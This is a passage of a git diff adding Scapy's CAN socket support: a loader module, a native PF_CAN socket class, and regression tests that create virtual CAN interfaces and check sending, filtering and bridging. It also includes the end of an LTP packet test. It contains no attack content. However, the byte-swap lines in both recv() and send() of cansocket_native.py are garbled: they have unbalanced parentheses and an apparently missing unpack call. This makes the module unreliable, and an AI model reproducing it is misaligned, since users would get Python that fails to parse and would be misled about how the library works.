basic tests + +#TODO: no pcap have been found on Internet. Check that scapy correctly decode those too + += Build packets & dissect + +from scapy.contrib.ltp import LTPex + +pkt = Ether(src="aa:aa:aa:aa:aa:aa", dst="bb:bb:bb:bb:bb:bb")/IP(src="192.168.0.1", dst="192.168.0.2")/UDP()/LTP(flags=7,\ + SessionOriginator=2, + SessionNumber=113, + HeaderExtensions=[ + LTPex(ExTag=1, ExData=b"\x00"), + ], + DATA_ClientServiceID=1, + DATA_PayloadOffset=0, + LTP_Payload=[ + BP(ProcFlags=415)/\ + BPBLOCK(ProcFlags=10, load="data") + ]) + +pkt = Ether(raw(pkt)) +assert LTP in pkt +bp = pkt[LTP].LTP_Payload[0] +assert BP in bp +assert BPBLOCK in bp +assert bp.load == b"data" + +bp.mysummary() diff --git a/libs/scapy/contrib/cansocket.py b/libs/scapy/contrib/cansocket.py new file mode 100755 index 0000000..c4fc124 --- /dev/null +++ b/libs/scapy/contrib/cansocket.py @@ -0,0 +1,47 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +# scapy.contrib.description = CANSocket Utils +# scapy.contrib.status = loads + +""" +CANSocket. +""" + +from scapy.error import log_loading +from scapy.consts import LINUX +from scapy.config import conf +import scapy.modules.six as six + +PYTHON_CAN = False + +try: + if conf.contribs['CANSocket']['use-python-can']: + from can import BusABC as can_BusABC # noqa: F401 + PYTHON_CAN = True + else: + PYTHON_CAN = False +except ImportError: + log_loading.info("Can't import python-can.") +except KeyError: + log_loading.info("Configuration 'conf.contribs['CANSocket'] not found.") + + +if PYTHON_CAN: + log_loading.info("Using python-can CANSocket.") + log_loading.info("Specify 'conf.contribs['CANSocket'] = " + "{'use-python-can': False}' to enable native CANSockets.") + from scapy.contrib.cansocket_python_can import (PythonCANSocket, CANSocket, CAN_FRAME_SIZE, CAN_INV_FILTER) # noqa: E501 F401 + +elif LINUX and six.PY3 and not conf.use_pypy: + log_loading.info("Using native CANSocket.") + log_loading.info("Specify 'conf.contribs['CANSocket'] = " + "{'use-python-can': True}' " + "to enable python-can CANSockets.") + from scapy.contrib.cansocket_native import (NativeCANSocket, CANSocket, CAN_FRAME_SIZE, CAN_INV_FILTER) # noqa: E501 F401 + +else: + log_loading.info("No CAN support available. Install python-can or " + "use Linux and python3.") diff --git a/libs/scapy/contrib/cansocket_native.py b/libs/scapy/contrib/cansocket_native.py new file mode 100755 index 0000000..f20efa3 --- /dev/null +++ b/libs/scapy/contrib/cansocket_native.py @@ -0,0 +1,123 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +# scapy.contrib.description = Native CANSocket +# scapy.contrib.status = loads + +""" +NativeCANSocket. +""" + +import struct +import socket +import time +from scapy.config import conf +from scapy.supersocket import SuperSocket +from scapy.error import Scapy_Exception, warning +from scapy.layers.can import CAN +from scapy.packet import Padding +from scapy.arch.linux import get_last_packet_timestamp + +conf.contribs['NativeCANSocket'] = {'channel': "can0"} + +CAN_FRAME_SIZE = 16 +CAN_INV_FILTER = 0x20000000 + + +class NativeCANSocket(SuperSocket): + desc = "read/write packets at a given CAN interface using PF_CAN sockets" + nonblocking_socket = True + + def __init__(self, channel=None, receive_own_messages=False, + can_filters=None, remove_padding=True, basecls=CAN, **kwargs): + bustype = kwargs.pop("bustype", None) + if bustype and bustype != "socketcan": + warning("You created a NativeCANSocket. " + "If you're providing the argument 'bustype', please use " + "the correct one to achieve compatibility with python-can" + "/PythonCANSocket. \n'bustype=socketcan'") + + self.basecls = basecls + self.remove_padding = remove_padding + self.channel = conf.contribs['NativeCANSocket']['channel'] if \ + channel is None else channel + self.ins = socket.socket(socket.PF_CAN, + socket.SOCK_RAW, + socket.CAN_RAW) + try: + self.ins.setsockopt(socket.SOL_CAN_RAW, + socket.CAN_RAW_RECV_OWN_MSGS, + struct.pack("i", receive_own_messages)) + except Exception as exception: + raise Scapy_Exception( + "Could not modify receive own messages (%s)", exception + ) + + if can_filters is None: + can_filters = [{ + "can_id": 0, + "can_mask": 0 + }] + + can_filter_fmt = "={}I".format(2 * len(can_filters)) + filter_data = [] + for can_filter in can_filters: + filter_data.append(can_filter["can_id"]) + filter_data.append(can_filter["can_mask"]) + + self.ins.setsockopt(socket.SOL_CAN_RAW, + socket.CAN_RAW_FILTER, + struct.pack(can_filter_fmt, *filter_data)) + + self.ins.bind((self.channel,)) + self.outs = self.ins + + def recv(self, x=CAN_FRAME_SIZE): + try: + pkt, sa_ll = self.ins.recvfrom(x) + except BlockingIOError: # noqa: F821 + warning("Captured no data, socket in non-blocking mode.") + return None + except socket.timeout: + warning("Captured no data, socket read timed out.") + return None + except OSError: + # something bad happened (e.g. the interface went down) + warning("Captured no data.") + return None + + # need to change the byte order of the first four bytes, + # required by the underlying Linux SocketCAN frame format + if not conf.contribs['CAN']['swap-bytes']: + pkt = struct.pack("I12s", pkt)) + + len = pkt[4] + canpkt = self.basecls(pkt[:len + 8]) + canpkt.time = get_last_packet_timestamp(self.ins) + if self.remove_padding: + return canpkt + else: + return canpkt / Padding(pkt[len + 8:]) + + def send(self, x): + try: + if hasattr(x, "sent_time"): + x.sent_time = time.time() + + # need to change the byte order of the first four bytes, + # required by the underlying Linux SocketCAN frame format + bs = bytes(x) + if not conf.contribs['CAN']['swap-bytes']: + bs = bs + b'\x00' * (CAN_FRAME_SIZE - len(bs)) + bs = struct.pack("I12s", bs)) + return SuperSocket.send(self, bs) + except socket.error as msg: + raise msg + + def close(self): + self.ins.close() + + +CANSocket = NativeCANSocket diff --git a/libs/scapy/contrib/cansocket_native.uts b/libs/scapy/contrib/cansocket_native.uts new file mode 100755 index 0000000..482c27f --- /dev/null +++ b/libs/scapy/contrib/cansocket_native.uts @@ -0,0 +1,761 @@ +% Regression tests for nativecansocket +~ python3_only vcan_socket + +# More information at http://www.secdev.org/projects/UTscapy/ + + +############ +############ ++ Configuration of CAN virtual sockets + += Load module +~ conf command needs_root linux + +load_layer("can") +conf.contribs['CANSocket'] = {'use-python-can': False} +from scapy.contrib.cansocket_native import * +conf.contribs['CAN'] = {'swap-bytes': False} + + += Setup string for vcan +~ conf command + bashCommand = "/bin/bash -c 'sudo modprobe vcan; sudo ip link add name vcan0 type vcan; sudo ip link set dev vcan0 up'" + += Load os +~ conf command needs_root linux + +import os +import threading +from time import sleep + += Setup vcan0 +~ conf command needs_root linux + +0 == os.system(bashCommand) + ++ Basic Packet Tests() += CAN Packet init +~ needs_root linux + +canframe = CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') +bytes(canframe) == b'\x00\x00\x07\xff\x08\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08' + ++ Basic Socket Tests() += CAN Socket Init +~ needs_root linux + +sock1 = CANSocket(iface="vcan0") + += CAN Socket send recv small packet +~ needs_root linux + +def sender(): + sleep(0.1) + sock2 = CANSocket(iface="vcan0") + sock2.send(CAN(identifier=0x7ff,length=1,data=b'\x01')) + sock2.close() + +thread = threading.Thread(target=sender) +thread.start() +rx = sock1.recv() +rx == CAN(identifier=0x7ff,length=1,data=b'\x01') +thread.join() + += CAN Socket send recv +~ needs_root linux + +def sender(): + sleep(0.1) + sock2 = CANSocket(iface="vcan0") + sock2.send(CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.close() + +thread = threading.Thread(target=sender) +thread.start() +rx = sock1.recv() +rx == CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') +thread.join() + += CAN Socket basecls test +~ needs_root linux + +def sender(): + sleep(0.1) + sock2 = CANSocket(iface="vcan0") + sock2.send(CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.close() + +sock1.basecls = Raw +thread = threading.Thread(target=sender) +thread.start() +rx = sock1.recv() +rx == Raw(bytes(CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08'))) +sock1.basecls = CAN +thread.join() + ++ Advanced Socket Tests() += CAN Socket sr1 +~ needs_root linux + +tx = CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') + += CAN Socket sr1 init time +~ needs_root linux + +tx.sent_time == None + +def sender(): + sleep(0.1) + sock2 = CANSocket(iface="vcan0") + sock2.send(tx) + sock2.close() + +thread = threading.Thread(target=sender) +thread.start() +rx = None +rx = sock1.sr1(tx) +rx == tx + +sock1.close() +thread.join() + += CAN Socket sr1 time check +~ needs_root linux + +tx.sent_time < rx.time and rx.time > 0 + += srcan +~ needs_root linux + +tx = CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') + += srcan check init time +~ needs_root linux + +assert tx.sent_time == None + +def sender(): + sleep(0.1) + sock2 = CANSocket(iface="vcan0") + sock2.send(tx) + sock2.close() + +thread = threading.Thread(target=sender) +thread.start() +rx = None +rx = srcan(tx, "vcan0", timeout=1) +rx = rx[0][0][1] +tx == rx +thread.join() + += srcan check init time basecls +~ needs_root linux + +def sender(): + sleep(0.1) + sock2 = CANSocket(iface="vcan0") + sock2.send(tx) + sock2.close() + +thread = threading.Thread(target=sender) +thread.start() +rx = None +rx = srcan(tx, "vcan0", timeout=1, basecls=Raw) +rx = rx[0][0][1] +Raw(bytes(tx)) == rx +thread.join() + += srcan check rx and tx +~ needs_root linux + +tx.sent_time > 0 and rx.time > 0 and tx.sent_time < rx.time + += sniff with filtermask 0x7ff +~ needs_root linux + +sock1 = CANSocket(iface='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}]) + +def sender(): + sock2 = CANSocket(iface="vcan0") + sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x100, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.close() + +thread = threading.Thread(target=sender) +packets = sock1.sniff(timeout=0.2, started_callback=thread.start) +len(packets) == 3 + +sock1.close() +thread.join() + += sniff with filtermask 0x700 +~ needs_root linux + +sock1 = CANSocket(iface='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x700}]) + +def sender(): + sock2 = CANSocket(iface="vcan0") + sock2.send(CAN(identifier=0x212, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x2ff, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x1ff, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x2aa, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.close() + +thread = threading.Thread(target=sender) +packets = sock1.sniff(timeout=0.2, started_callback=thread.start) +len(packets) == 4 + +sock1.close() +thread.join() + += sniff with filtermask 0x0ff +~ needs_root linux + +sock1 = CANSocket(iface='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x0ff}]) + +def sender(): + sock2 = CANSocket(iface="vcan0") + sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x301, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x1ff, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x700, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x100, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.close() + +thread = threading.Thread(target=sender) +packets = sock1.sniff(timeout=0.2, started_callback=thread.start) +len(packets) == 4 + +sock1.close() +thread.join() + += sniff with multiple filters +~ needs_root linux + +sock1 = CANSocket(iface='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}, {'can_id': 0x400, 'can_mask': 0x7ff}, {'can_id': 0x600, 'can_mask': 0x7ff}, {'can_id': 0x7ff, 'can_mask': 0x7ff}]) + +def sender(): + sock2 = CANSocket(iface="vcan0") + sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x400, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x500, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x600, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x700, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x7ff, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.close() + +thread = threading.Thread(target=sender) +packets = sock1.sniff(timeout=0.2, started_callback=thread.start) +len(packets) == 4 + +sock1.close() +thread.join() + += sniff with filtermask 0x7ff and inverse filter +~ needs_root linux + +sock1 = CANSocket(iface='vcan0', can_filters=[{'can_id': 0x200 | CAN_INV_FILTER, 'can_mask': 0x7ff}]) + +def sender(): + sock2 = CANSocket(iface="vcan0") + sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x100, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.close() + +thread = threading.Thread(target=sender) +packets = sock1.sniff(timeout=0.2, started_callback=thread.start) +len(packets) == 2 + +sock1.close() +thread.join() + += sniff with filtermask 0x1FFFFFFF +~ needs_root linux + +sock1 = CANSocket(iface='vcan0', can_filters=[{'can_id': 0x10000000, 'can_mask': 0x1fffffff}]) + +def sender(): + sock2 = CANSocket(iface="vcan0") + sock2.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock2.close() + +thread = threading.Thread(target=sender) +packets = sock1.sniff(timeout=0.2, started_callback=thread.start) +len(packets) == 2 + +sock1.close() +thread.join() + += sniff with filtermask 0x1FFFFFFF and inverse filter +~ needs_root linux + +sock1 = CANSocket(iface='vcan0', can_filters=[{'can_id': 0x10000000 | CAN_INV_FILTER, 'can_mask': 0x1fffffff}]) + +if six.PY3: + thread = threading.Thread(target=sender) + packets = sock1.sniff(timeout=0.2, started_callback=thread.start) + len(packets) == 4 + +sock1.close() + += CAN Socket sr1 with receive own messages +~ needs_root linux + +sock1 = CANSocket(iface="vcan0", receive_own_messages=True) +tx = CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') +rx = None +rx = sock1.sr1(tx) +tx == rx +tx.sent_time < rx.time and tx == rx and rx.time > 0 + +sock1.close() + += srcan +~ needs_root linux + +tx = CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') +rx = None +rx = srcan(tx, iface="vcan0", receive_own_messages=True, timeout=1) +tx == rx[0][0][1] + ++ bridge and sniff tests + += bridge and sniff setup vcan1 package forwarding +~ needs_root linux + +bashCommand = "/bin/bash -c 'sudo ip link add name vcan1 type vcan; sudo ip link set dev vcan1 up'" +0 == os.system(bashCommand) + +sock0 = CANSocket(iface='vcan0') +sock1 = CANSocket(iface='vcan1') + +def senderVCan0(): + sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + +bridgeStarted = threading.Event() + +def bridge(): + global bridgeStarted + bSock0 = CANSocket(iface="vcan0") + bSock1 = CANSocket(iface='vcan1') + def pnr(pkt): + return pkt + bridgeStarted.set() + bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.2) + bSock0.close() + bSock1.close() + +threadBridge = threading.Thread(target=bridge) +threadBridge.start() +threadSender = threading.Thread(target=senderVCan0) +bridgeStarted.wait() + +packetsVCan1 = sock1.sniff(timeout=0.2, started_callback=threadSender.start) +len(packetsVCan1) == 6 + +threadSender.join() +threadBridge.join() + +sock1.close() +sock0.close() + += bridge and sniff setup vcan0 package forwarding +~ needs_root linux + +sock0 = CANSocket(iface='vcan0') +sock1 = CANSocket(iface='vcan1') + +def senderVCan1(): + sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x80, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + +bridgeStarted = threading.Event() + +def bridge(): + global bridgeStarted + bSock0 = CANSocket(iface="vcan0") + bSock1 = CANSocket(iface='vcan1') + def pnr(pkt): + return pkt + bridgeStarted.set() + bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.2) + bSock0.close() + bSock1.close() + +threadBridge = threading.Thread(target=bridge) +threadBridge.start() +threadSender = threading.Thread(target=senderVCan1) +bridgeStarted.wait() + +packetsVCan0 = sock0.sniff(timeout=0.2, started_callback=threadSender.start) +len(packetsVCan0) == 4 + +sock0.close() +sock1.close() + +threadSender.join() +threadBridge.join() + +=bridge and sniff setup vcan0 vcan1 package forwarding both directions +~ needs_root linux + +sock0 = CANSocket(iface='vcan0') +sock1 = CANSocket(iface='vcan1') + +def senderBothVCans(): + sock0.send(CAN(flags='extended', identifier=0x25, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x20, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x25, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x25, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x20, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x30, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock1.send(CAN(flags='extended', identifier=0x40, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x40, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x80, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x40, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + +bridgeStarted = threading.Event() + +def bridge(): + global bridgeStarted + bSock0 = CANSocket(iface="vcan0") + bSock1 = CANSocket(iface='vcan1') + def pnr(pkt): + return pkt + bridgeStarted.set() + bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.2) + bSock0.close() + bSock1.close() + +threadBridge = threading.Thread(target=bridge) +threadBridge.start() +threadSender = threading.Thread(target=senderBothVCans) + +bridgeStarted.wait() + +packetsVCan0 = sock0.sniff(timeout=0.1, count=6, started_callback=threadSender.start) +packetsVCan1 = sock1.sniff(timeout=0.1) + +len(packetsVCan0) == 4 +len(packetsVCan1) == 6 + +sock0.close() +sock1.close() + +threadSender.join() +threadBridge.join() + +=bridge and sniff setup vcan1 package change +~ needs_root linux + +sock0 = CANSocket(iface='vcan0') +sock1 = CANSocket(iface='vcan1', can_filters=[{'can_id': 0x10010000, 'can_mask': 0x1fffffff}]) + +def senderVCan0(): + sleep(0.1) + sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + +bridgeStarted = threading.Event() + +def bridgeWithPackageChangeVCan0ToVCan1(): + global bridgeStarted + bSock0 = CANSocket(iface="vcan0") + bSock1 = CANSocket(iface="vcan1") + def pnr(pkt): + pkt.data = b'\x08\x07\x06\x05\x04\x03\x02\x01' + pkt.identifier = 0x10010000 + return pkt + bridgeStarted.set() + bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, timeout=0.2) + bSock0.close() + bSock1.close() + +threadBridge = threading.Thread(target=bridgeWithPackageChangeVCan0ToVCan1) +threadBridge.start() +threadSender = threading.Thread(target=senderVCan0) + +bridgeStarted.wait() + +packetsVCan1 = sock1.sniff(timeout=0.2, started_callback=threadSender.start) +len(packetsVCan1) == 6 + +sock0.close() +sock1.close() + +threadSender.join() +threadBridge.join() + +=bridge and sniff setup vcan0 package change +~ needs_root linux + +sock0 = CANSocket(iface='vcan0', can_filters=[{'can_id': 0x10010000, 'can_mask': 0x1fffffff}]) +sock1 = CANSocket(iface='vcan1') + +def senderVCan1(): + sleep(0.1) + sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x10050000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + +bridgeStarted = threading.Event() + +def bridgeWithPackageChangeVCan1ToVCan0(): + global bridgeStarted + bSock0 = CANSocket(iface="vcan0") + bSock1 = CANSocket(iface="vcan1") + def pnr(pkt): + pkt.data = b'\x08\x07\x06\x05\x04\x03\x02\x01' + pkt.identifier = 0x10010000 + return pkt + bridgeStarted.set() + bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm21=pnr, timeout=0.2) + bSock0.close() + bSock1.close() + +threadBridge = threading.Thread(target=bridgeWithPackageChangeVCan1ToVCan0) +threadBridge.start() +threadSender = threading.Thread(target=senderVCan1) + +bridgeStarted.wait() + +packetsVCan0 = sock0.sniff(timeout=0.2, started_callback=threadSender.start) +len(packetsVCan0) == 4 + +sock0.close() +sock1.close() + +threadSender.join() +threadBridge.join() + +=bridge and sniff setup vcan0 and vcan1 package change in both directions +~ needs_root linux + +sock0 = CANSocket(iface='vcan0', can_filters=[{'can_id': 0x10010000, 'can_mask': 0x1fffffff}]) +sock1 = CANSocket(iface='vcan1', can_filters=[{'can_id': 0x10010000, 'can_mask': 0x1fffffff}]) + +def senderBothVCans(): + sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x10050000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + +bridgeStarted = threading.Event() + +def bridgeWithPackageChangeBothDirections(): + global bridgeStarted + bSock0 = CANSocket(iface="vcan0") + bSock1 = CANSocket(iface="vcan1") + def pnr(pkt): + pkt.data = b'\x08\x07\x06\x05\x04\x03\x02\x01' + pkt.identifier = 0x10010000 + return pkt + bridgeStarted.set() + bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.2) + bSock0.close() + bSock1.close() + +threadBridge = threading.Thread(target=bridgeWithPackageChangeBothDirections) +threadBridge.start() +threadSender = threading.Thread(target=senderBothVCans) + +bridgeStarted.wait() +threadSender.start() + +packetsVCan0 = sock0.sniff(timeout=0.1) +packetsVCan1 = sock1.sniff(timeout=0.1) +len(packetsVCan0) == 4 +len(packetsVCan1) == 6 + +sock0.close() +sock1.close() + +threadSender.join() +threadBridge.join() + +=bridge and sniff setup vcan0 package remove +~ needs_root linux + +sock0 = CANSocket(iface='vcan0') +sock1 = CANSocket(iface='vcan1') + +def senderVCan0(): + sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) + +bridgeStarted = threading.Event() + +def bridgeWithRemovePackageFromVCan0ToVCan1(): + global bridgeStarted + bSock0 = CANSocket(iface="vcan0") + bSock1 = CANSocket(iface="vcan1") + def pnr(pkt): + if(pkt.identifier == 0x10020000): + pkt = None + else: + pkt = pkt + return pkt + bridgeStarted.set() + bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, timeout=0.2) + bSock0.close() + bSock1.close() + +threadBridge = threading.Thread(target=bridgeWithRemovePackageFromVCan0ToVCan1) +threadBridge.start() +threadSender = threading.Thread(target=senderVCan0) + +bridgeStarted.wait() + +threadSender.start() + +packetsVCan1 = sock1.sniff(timeout=0.2) +len(packetsVCan1) == 5 + +sock0.close() +sock1.close() + +threadSender.join() +threadBridge.join() + +=bridge and sniff setup vcan1 package remove +~ needs_root linux + +sock0 = CANSocket(iface='vcan0') +sock1 = CANSocket(iface='vcan1') + +def senderVCan1(): + sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) + 